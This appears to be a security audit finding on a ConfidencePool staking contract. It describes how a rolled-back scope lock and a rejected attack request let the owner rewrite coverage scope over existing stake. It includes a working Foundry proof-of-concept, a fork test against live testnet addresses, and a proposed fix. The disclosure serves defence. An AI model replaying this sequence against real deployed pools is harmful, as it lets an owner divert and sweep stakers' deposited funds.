Root + Impact
Description
Normal behavior is that the pool scope is a fixed on-chain commitment once the linked registry leaves pre-attack staging. Stakers should not have their deposited capital redirected to a different pool-local coverage set after the agreement has entered a non-staging state.
The issue is that scopeLocked only records the current registry state observed during a successful pool transaction. The upstream AttackRegistry can move from ATTACK_REQUESTED back to NOT_DEPLOYED when the DAO rejects the request. If no successful ConfidencePool transaction persists the ATTACK_REQUESTED observation before that rejection, the pool later sees only NOT_DEPLOYED and allows the owner to replace scope while existing stake remains deposited.
This does not dispute the documented rule that the sponsor may update scope while the registry is in NOT_DEPLOYED or NEW_DEPLOYMENT. The issue is narrower: the registry already left pre-attack staging through ATTACK_REQUESTED, but every available pool-side observer that could persist that fact rolls back during ATTACK_REQUESTED. After the DAO rejection returns the registry to NOT_DEPLOYED, the pool treats existing deposited stake as if the non-staging interval never happened.
function setPoolScope(address[] calldata accounts) external onlyOwner {
@> _observePoolState();
@> if (scopeLocked) revert ScopePostLockImmutable();
@> _replaceScope(accounts);
}
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
@> _observePoolState();
@> if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
@> if (
@> !scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
@> && state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
@> ) {
@> scopeLocked = true;
@> emit ScopeLocked(block.timestamp);
@> }
if (riskWindowStart == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}
During ATTACK_REQUESTED, pokeRiskWindow() temporarily sets scopeLocked = true, but no risk window starts because ATTACK_REQUESTED is not an active-risk state. The function then reverts with RiskWindowNotReached(), rolling back the scope lock. setPoolScope() also temporarily observes the lock, then reverts with ScopePostLockImmutable() and rolls back the observation.
The upstream registry rejection path returns the agreement to NOT_DEPLOYED:
function rejectAttackRequest(address agreementAddress, bool slashBond) external onlyRegistryModerator {
ContractState currentState = _getAgreementState(agreementAddress);
if (currentState != ContractState.ATTACK_REQUESTED) {
revert AttackRegistry__InvalidState(currentState);
}
...
@> emit AgreementStateChanged(agreementAddress, ContractState.NOT_DEPLOYED);
@> delete s_agreementInfo[agreementAddress];
}
After that rejection, the ConfidencePool has no persisted record that the registry left staging. The sponsor can replace the pool scope, then a later approved attack can lock the replacement scope and disable withdrawals. If the replacement scope is later corrupted, the existing staker's principal can be swept even though they deposited against the original scope.
Risk
Likelihood:
Reason 1: This occurs when the registry enters ATTACK_REQUESTED, no successful pool transaction persists scopeLocked, and the DAO rejects the request back to NOT_DEPLOYED.
Reason 2: The sponsor can then call the normal owner-only setPoolScope() entrypoint while existing stake remains deposited. pokeRiskWindow() and a reverted setPoolScope() call during ATTACK_REQUESTED do not protect stakers because both roll back the lock.
Impact:
Impact 1: Existing deposited stake can be redirected from the originally published pool scope to a different replacement scope after the registry has already left staging once.
Impact 2: During a later active-risk/corrupted lifecycle, the staker's principal can be swept based on the replacement scope rather than the scope they deposited against.
Proof of Concept
Create test/unit/ConfidencePool.rejectedAttackScopeMutation.poc.t.sol with the following full test contract:
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract ConfidencePoolRejectedAttackScopeMutationPoCTest is BaseConfidencePoolTest {
address internal constant REPLACEMENT_SCOPE_ACCOUNT = address(0xBEEF);
function testRejectedAttackRequestLetsSponsorRewriteExistingStakeScopeAndLaterSweep() external {
_stake(alice, 100 * ONE);
assertTrue(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT), "alice deposited against original scope");
assertFalse(pool.scopeLocked(), "stake while NEW_DEPLOYMENT does not lock scope");
agreementContract.setContractInScope(REPLACEMENT_SCOPE_ACCOUNT, true);
address[] memory replacement = new address[](1);
replacement[0] = REPLACEMENT_SCOPE_ACCOUNT;
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "reverted poke rolls back the ATTACK_REQUESTED scope lock");
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(replacement);
assertFalse(pool.scopeLocked(), "reverted scope update also rolls back the lock");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
pool.setPoolScope(replacement);
assertFalse(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT), "original scope removed after rejection");
assertTrue(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement scope added after rejection");
assertEq(pool.eligibleStake(alice), 100 * ONE, "alice remains deposited under rewritten scope");
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked(), "replacement scope locks during later active risk");
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool.withdraw();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(token.balanceOf(alice), 0, "alice receives nothing after rewritten-scope corruption");
assertEq(token.balanceOf(recovery) - recoveryBefore, 100 * ONE, "alice principal swept");
}
}
Run:
forge test \
--match-path test/unit/ConfidencePool.rejectedAttackScopeMutation.poc.t.sol \
--skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol \
-vvv
Observed result:
Ran 1 test for test/unit/ConfidencePool.rejectedAttackScopeMutation.poc.t.sol:ConfidencePoolRejectedAttackScopeMutationPoCTest
[PASS] testRejectedAttackRequestLetsSponsorRewriteExistingStakeScopeAndLaterSweep()
Suite result: ok. 1 passed; 0 failed; 0 skipped
The --skip flag excludes an unrelated local malformed-implementation PoC that currently prevents full test-tree compilation in this workspace; it is not part of this finding.
Live BattleChain testnet fork confirmation:
The fork proof uses the live Safe Harbor registry 0x0a652e265336a0296816aC4D8400880e3E537C24, live AttackRegistry 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350, and live agreement 0xaD7Ba3b8BA7FF4ee48C914b65e76b97025eb3179.
At block 17091, the selected agreement is still NOT_DEPLOYED; the test deploys a local ConfidencePool against the live agreement and Alice stakes into the original live scope. At block 17092, the real deployed registry reports the agreement as ATTACK_REQUESTED from transaction 0xb862d84d1bea8438cdaf3205a2930a99d769cd5bad35298b61aef6bfaf09180b.
The live agreement owner then adds 0x000000000000000000000000000000000000BEEF to the live agreement through the deployed Agreement.addAccounts() path. During ATTACK_REQUESTED, both pokeRiskWindow() and setPoolScope() still roll back the observed scope lock. The test then impersonates the live registry moderator returned by getRegistryModerator() and calls the deployed AttackRegistry.rejectAttackRequest(). The registry returns to NOT_DEPLOYED, after which the same pool owner can call setPoolScope([0xBEEF]) while Alice's existing stake remains deposited.
function testForkRealRejectedAttackRequestReopensScopeMutationForExistingStake() external {
_stake(alice, 100 * ONE);
assertTrue(pool.isAccountInScope(ORIGINAL_SCOPE_ACCOUNT), "pool starts with live agreement scope");
assertFalse(pool.scopeLocked(), "pre-request stake leaves scope mutable");
vm.rollFork(ATTACK_REQUESTED_BLOCK);
assertEq(
uint256(IAttackRegistry(attackRegistry).getAgreementState(LIVE_AGREEMENT)),
uint256(IAttackRegistry.ContractState.ATTACK_REQUESTED),
"live registry entered ATTACK_REQUESTED"
);
vm.prank(LIVE_AGREEMENT_OWNER);
ILiveAgreement(LIVE_AGREEMENT).addAccounts(battleChainCaip2, newAccounts);
assertTrue(ILiveAgreement(LIVE_AGREEMENT).isContractInScope(REPLACEMENT_SCOPE_ACCOUNT));
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "reverted poke rolls back the ATTACK_REQUESTED scope lock");
vm.prank(LIVE_AGREEMENT_OWNER);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(replacement);
assertFalse(pool.scopeLocked(), "reverted scope update rolls back the observation");
address registryModerator = IAttackRegistry(attackRegistry).getRegistryModerator();
vm.prank(registryModerator);
IAttackRegistry(attackRegistry).rejectAttackRequest(LIVE_AGREEMENT, false);
assertEq(
uint256(IAttackRegistry(attackRegistry).getAgreementState(LIVE_AGREEMENT)),
uint256(IAttackRegistry.ContractState.NOT_DEPLOYED),
"real rejectAttackRequest returned registry to NOT_DEPLOYED"
);
vm.prank(LIVE_AGREEMENT_OWNER);
pool.setPoolScope(replacement);
assertFalse(pool.isAccountInScope(ORIGINAL_SCOPE_ACCOUNT), "original scope removed after live rejection");
assertTrue(pool.isAccountInScope(REPLACEMENT_SCOPE_ACCOUNT), "replacement scope accepted after live rejection");
assertEq(ConfidencePool(address(pool)).eligibleStake(alice), 100 * ONE, "existing stake remains");
}
Run:
source .env && forge test \
--match-path test/fork/ConfidencePoolRejectedAttackScopeMutation.fork.t.sol \
--skip test/unit/ConfidencePoolFactory.implementationProvenance.poc.t.sol \
-vvv
Observed result:
Ran 1 test for test/fork/ConfidencePoolRejectedAttackScopeMutation.fork.t.sol:ConfidencePoolRejectedAttackScopeMutationForkTest
[PASS] testForkRealRejectedAttackRequestReopensScopeMutationForExistingStake()
Suite result: ok. 1 passed; 0 failed; 0 skipped
The fork proof confirms the live deployed rejection path and reopened pool-local scope mutation. The local unit PoC above completes the later approved-attack/CORRUPTED settlement leg, because the selected live testnet agreement was not driven through a second real approved attack and corruption.
Recommended Mitigation
The safest fix is to bind scope immutability to deposited capital, mirroring the existing expiryLocked behavior. Once a user has stake in the pool, the owner should not be able to rewrite the coverage set for that deposited principal.
function setPoolScope(address[] calldata accounts) external onlyOwner {
+ if (totalEligibleStake != 0) revert ScopePostLockImmutable();
_observePoolState();
if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}
If post-stake scope changes must remain supported, the pool needs a monotonic upstream signal such as everLeftPreAttackStaging or everAttackRequested. A reversible current-state read cannot prove whether the agreement previously left staging.
As defense in depth, pokeRiskWindow() should treat a newly persisted scopeLocked value as useful work instead of reverting when no risk marker changed. That improves observability, but it is not sufficient by itself because the whole ATTACK_REQUESTED interval can still pass without a successful pool call.